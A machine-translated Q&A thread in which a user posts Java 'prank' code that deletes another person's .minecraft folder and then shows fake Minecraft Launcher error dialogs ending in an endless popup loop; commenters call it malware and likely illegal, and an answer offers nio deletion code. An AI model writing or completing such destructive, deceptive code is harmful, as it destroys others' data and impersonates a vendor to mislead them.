2016-03-24 27 views
-20

Bunun için sonsuz bir şekilde arama yaptım ve hiçbir şey bulamıyorum. .minecraft dosyası silinmeyecek. Ben sadece minecraft için yeniden adlandırmayı denedim ama yine de çalışmayacak.Java: "." Ile başlayan bir dosyayı silin.

import javax.swing.JOptionPane;

import java.io.File;

public class justaprankbro {

public static void main(String[] args){ 
    int x; 

    File file = new File(System.getProperty("user.home") + "/AppData/Roaming/.minecraft"); 

    if(file.isHidden()){ 
     System.out.println("This file is hidden"); 
    }else{ 
     System.out.println("This file is not hidden"); 
    } 


    if(file.delete()){ 
      System.out.println(file.getName() + " is deleted!"); 
    }else{ 
      System.out.println("Delete operation is failed."); 
    } 



    JOptionPane.showMessageDialog (null, "A new Minecraft Launcher was released" + "\nPlease click OK to update", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE); 

    try { 
     Thread.sleep(5000);     //1000 milliseconds is one second. 
    } catch(InterruptedException ex) { 
     Thread.currentThread().interrupt(); 
    } 

    JOptionPane.showMessageDialog (null, "Unable to start the Minecraft Runtime Environment. This is most " + "\nlikely caused by a corruption. Please press OK to auto-fix.", "Minecraft Launcher 1.6.61", JOptionPane.WARNING_MESSAGE); 

    try { 
     Thread.sleep(3000);     //1000 milliseconds is one second. 
    } catch(InterruptedException ex) { 
     Thread.currentThread().interrupt(); 
    } 
    JOptionPane.showMessageDialog (null, "Error: 34; minecraft failed to start, please" + "\npress OK to backup files and reinstall", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE); 

    for(x = 0; x < 1; x = 0){ 
     JOptionPane.showMessageDialog (null, "Fatal Error, please contact Mojang immidiately", "Minecraft Launcher 1.6.61", JOptionPane.ERROR_MESSAGE); 
    } 
} 

}

+2

* "... Bu şakayı onlar üzerinde yapmak istiyorum ..." * - Bunu yapma. Tehlikeli, kesinlikle bir BT politikası ihlali ve muhtemelen ILLEGAL. –

+1

'.minecraft' bir * klasörü * olduğunu göz önünde bulundurarak, silme sorunları olduğuna şaşmamak gerek. Ancak bu, başka birine yapmanın hoş bir şey değildir ve bir şaka yerine * kötü amaçlı yazılım * teriminin altına düşer. – Petesh

+2

Birilerinin elses bilgisayarındaki bir dosyayı silmek muhtemelen yasa dışıdır. Bir başkasının dosyasını, izinsiz olarak paylaşılan bir sistemde silmek muhtemelen yasa dışıdır. Belirleyici faktör, bunun için YETKİLİ olup olmadığınızdır. Aslında, okulunuzla ilgili olarak polisten daha sıkıntı çekiyorsunuz, ancak yasaların devlet/ülkenizde ne söylediğinin farkında olmanız gerekiyor. –

cevap

3

Kullanım yerine nio paketi:

import java.nio.file.Files; 
import java.nio.file.Path; 
import java.nio.file.Paths; 

Path p = Paths.get("/tmp/.minecraft"); 

if(!Files.exists(p)){ 
    Files.createFile(p); 
} 
if(Files.exists(p)){ 
    Files.delete(p); 
} 
+0

Nio paketi neden daha iyi? Aynı şekilde çalışır mı? Nio bile ne? – StealthVice7

+0

Temelde daha iyi değil ve standart io paketi kullanmak iyi değil, hatanın nereden geldiğini bilmiyorum ama temiz bir dosya silme örneğine sahip olmak (a ile başlayan) iyi bir başlangıç ​​noktası olabilir. –

+0

Programım, yaptığım tüm diğer test dosyalarıyla mükemmel çalışıyor, ancak .minecraft' dosyası değil. – StealthVice7

İlgili konular